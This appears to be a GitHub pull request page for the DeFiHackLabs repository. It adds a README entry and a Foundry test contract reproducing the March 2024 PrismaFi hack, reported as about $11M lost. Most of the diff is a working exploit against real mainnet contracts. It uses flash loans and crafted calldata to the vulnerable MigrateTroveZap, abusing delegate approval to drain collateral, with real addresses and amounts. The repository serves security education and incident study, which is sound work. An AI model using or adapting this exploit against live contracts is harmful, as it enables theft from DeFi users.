Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Added same day PrismaFi PoC #600

Merged
merged 2 commits into from
Mar 29, 2024
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
21 changes: 19 additions & 2 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,7 @@

**Reproduce DeFi hack incidents using Foundry.**

377 incidents included.
378 incidents included.

Let's make Web3 secure! Join [Discord](https://discord.gg/Fjyngakf3h)

Expand Down Expand Up @@ -34,6 +34,8 @@ All articles are also published on [Substack](https://defihacklabs.substack.com/
- Lesson 7: Hack Analysis: Nomad Bridge, August 2022 ( [English](https://github.com/SunWeb3Sec/DeFiHackLabs/tree/main/academy/onchain_debug/07_Analysis_nomad_bridge/en/) | [中文](https://github.com/SunWeb3Sec/DeFiHackLabs/tree/main/academy/onchain_debug/07_Analysis_nomad_bridge/) )

## List of Past DeFi Incidents
[20240329 PrismaFi](#20240329-prismaFi---insufficient-validation)

[20240309 Juice](#20240309-juice---business-logic-flaw)

[20240325 ZongZi](#20240325-zongzi---price-manipulation)
Expand Down Expand Up @@ -824,8 +826,23 @@ All articles are also published on [Substack](https://defihacklabs.substack.com/



### 20240329 PrismaFi - Insufficient Validation

### Lost: $~11M


```sh
forge test --contracts ./src/test/Prisma_exp.sol -vvv
```
#### Contract
[Prisma_exp.sol](src/test/Prisma_exp.sol)
### Link reference

https://twitter.com/EXVULSEC/status/1773371049951797485

---

### 20240309 Juice -
### 20240309 Juice - Business Logic Flaw

### Lost: ~54 ETH

Expand Down
211 changes: 211 additions & 0 deletions src/test/Prisma_exp.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,211 @@
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.19;

import {Test, console2} from "forge-std/Test.sol";

// @KeyInfo - Total Lost: ~$11M
// Attacker: 0x7e39e3b3ff7adef2613d5cc49558eab74b9a4202
// Attack Contract: 0xd996073019c74b2fb94ead236e32032405bc027c
// Vulnerable Contract: 0xcc7218100da61441905e0c327749972e3cbee9ee
// Attack Tx: https://etherscan.io/tx/0x00c503b595946bccaea3d58025b5f9b3726177bbdc9674e634244135282116c7

// @Analyses
// https://twitter.com/EXVULSEC/status/1773371049951797485
// https://twitter.com/PrismaFi/status/1773371030129524957

/////////////////////////////////////// Interfaces ///////////////////////////////////////

interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);

function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);

function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
}

interface IMKUSDLoan {
function flashLoan(
IERC3156FlashBorrower receiver,
address token,
uint256 amount,
bytes calldata data
) external returns (bool);
}

interface IERC3156FlashBorrower {
function onFlashLoan(
address initiator,
address token,
uint256 amount,
uint256 fee,
bytes calldata data
) external returns (bytes32);
}

interface IBorrowerOperations {
function setDelegateApproval(address _delegate, bool _isApproved) external;

function openTrove(
address troveManager,
address account,
uint256 _maxFeePercentage,
uint256 _collateralAmount,
uint256 _debtAmount,
address _upperHint,
address _lowerHint
) external;

function closeTrove(address troveManager, address account) external;
}

interface IPriceFeed {
function fetchPrice(address _token) external returns (uint256);
}

interface IBalancerVault {
function flashLoan(
address recipient,
address[] memory tokens,
uint256[] memory amounts,
bytes memory userData
) external;
}

contract PrismaExploit is Test {
IBalancerVault public vault;
IPriceFeed public priceFeed;

address public immutable wstETH = 0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0;
address public immutable mkUSD = 0x4591DBfF62656E7859Afe5e45f6f47D3669fBB28;
address public immutable MigrateTroveZap = 0xcC7218100da61441905e0c327749972e3CBee9EE;
address public immutable BorrowerOperations = 0x72c590349535AD52e6953744cb2A36B409542719;
address public immutable TroveManager = 0x1CC79f3F47BfC060b6F761FcD1afC6D399a968B6;
address public immutable upperHint = 0xE87C6f39881D5bF51Cf46d3Dc7E1c1731C2f790A;
address public immutable lowerHint = 0x89Ee26FCDFF6B109F81ABC6876600eC427F7907F;

bytes32 private constant attackTx = hex"00c503b595946bccaea3d58025b5f9b3726177bbdc9674e634244135282116c7";

function setUp() public {
// set up the fork
vm.createSelectFork("https://rpc.ankr.com/eth", attackTx);

// chainlink price feed and balancer vault
priceFeed = IPriceFeed(0xC105CeAcAeD23cad3E9607666FEF0b773BC86aac);
vault = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
}

/////////////////////////////////////// Interfaces ///////////////////////////////////////

function test_exploit() public {
uint256 price = priceFeed.fetchPrice(wstETH);
console2.log("Price Feed Price: ", price);

// start with ~1800 mkUSD
deal(address(mkUSD), address(this), 1_800_000_022_022_732_637);

console2.log("Attacker start with ~1800 mkUSD: ", IERC20(mkUSD).balanceOf(address(this)));
console2.log("start with wstETH balance before attack : ", IERC20(wstETH).balanceOf(address(this)));

// get mkUSD loan

// address account,
// address troveManagerFrom,
// address troveManagerTo,
// uint256 maxFeePercentage,
// uint256 coll,
// address upperHint,
// address lowerHint

// data
// bytes memory data = hex"00000000000000000000000056a201b872b50bbdee0021ed4d1bb36359d291ed0000000000000000000000001cc79f3f47bfc060b6f761fcd1afc6d399a968b60000000000000000000000001cc79f3f47bfc060b6f761fcd1afc6d399a968b60000000000000000000000000000000000000000000000000011c3794b4c52ff0000000000000000000000000000000000000000000000191bf9b8cefc50317e000000000000000000000000e87c6f39881d5bf51cf46d3dc7e1c1731c2f790a00000000000000000000000089ee26fcdff6b109f81abc6876600ec427f7907f";

uint256 amount = 1_442_100_643_475_620_087_665_721;

address account = 0x56A201b872B50bBdEe0021ed4D1bb36359D291ED;
address troveManagerFrom = address(TroveManager);
address troveManagerTo = address(TroveManager);
uint256 maxFeePercentage = 5_000_000_325_833_471;
uint256 coll = 463_184_447_350_099_685_758;

bytes memory data = abi.encode(
account, troveManagerFrom, troveManagerTo, maxFeePercentage, coll, address(upperHint), address(lowerHint)
);

IMKUSDLoan(mkUSD).flashLoan(IERC3156FlashBorrower(address(MigrateTroveZap)), address(mkUSD), amount, data);

address[] memory tokens = new address[](1);
tokens[0] = address(wstETH);

uint256[] memory amounts = new uint256[](1);
amounts[0] = 1_000_000_000_000_000_000;

uint256[] memory feeAmounts = new uint256[](1);
feeAmounts[0] = 0;

// get balancer wstETH loan
vault.flashLoan(address(this), tokens, amounts, abi.encode(""));
}

function receiveFlashLoan(
IERC20[] memory, /* tokens */
uint256[] memory, /* amounts */
uint256[] memory, /* feeAmounts */
bytes memory /* userData */
) external {
// approve borowOperations to spend wstETH with max amount
IERC20(wstETH).approve(address(BorrowerOperations), type(uint256).max);

// set delegate approval
IBorrowerOperations(BorrowerOperations).setDelegateApproval(address(MigrateTroveZap), true);

// // open trove
IBorrowerOperations(BorrowerOperations).openTrove(
address(TroveManager),
address(this),
5_000_000_325_833_471,
1_000_000_000_000_000_000,
2_000_000_000_000_000_000_000,
address(upperHint),
address(lowerHint)
);

// // another mkUSD loan
// // // data
// bytes memory data = hex"000000000000000000000000d996073019c74b2fb94ead236e32032405bc027c0000000000000000000000001cc79f3f47bfc060b6f761fcd1afc6d399a968b60000000000000000000000001cc79f3f47bfc060b6f761fcd1afc6d399a968b60000000000000000000000000000000000000000000000000011c3794b4c52ff0000000000000000000000000000000000000000000000458a6330674daf1a93000000000000000000000000e87c6f39881d5bf51cf46d3dc7e1c1731c2f790a00000000000000000000000089ee26fcdff6b109f81abc6876600ec427f7907f";

uint256 amount = 2_000_000_000_000_000_000_000;

address account = address(this);
address troveManagerFrom = address(TroveManager);
address troveManagerTo = address(TroveManager);
uint256 maxFeePercentage = 5_000_000_325_833_471;
uint256 coll = 1_282_797_208_306_130_557_587;

bytes memory data = abi.encode(
account, troveManagerFrom, troveManagerTo, maxFeePercentage, coll, address(upperHint), address(lowerHint)
);

IMKUSDLoan(mkUSD).flashLoan(IERC3156FlashBorrower(address(MigrateTroveZap)), address(mkUSD), amount, data);

// cuurent contract mkUSD balance
// console2.log("mkUSD balance before closing the trove: ", IERC20(mkUSD).balanceOf(address(this)));

// close trove
IBorrowerOperations(BorrowerOperations).closeTrove(address(TroveManager), address(this));

uint256 returnAmount = 1_000_000_000_000_000_000;
// transfer the wstETH loan back to the vault
IERC20(wstETH).transfer(address(vault), returnAmount);

// current contract wstETH balance
console2.log("wstETH balance ~1281.79 ETH after attack: ", IERC20(wstETH).balanceOf(address(this)));
}
}
Loading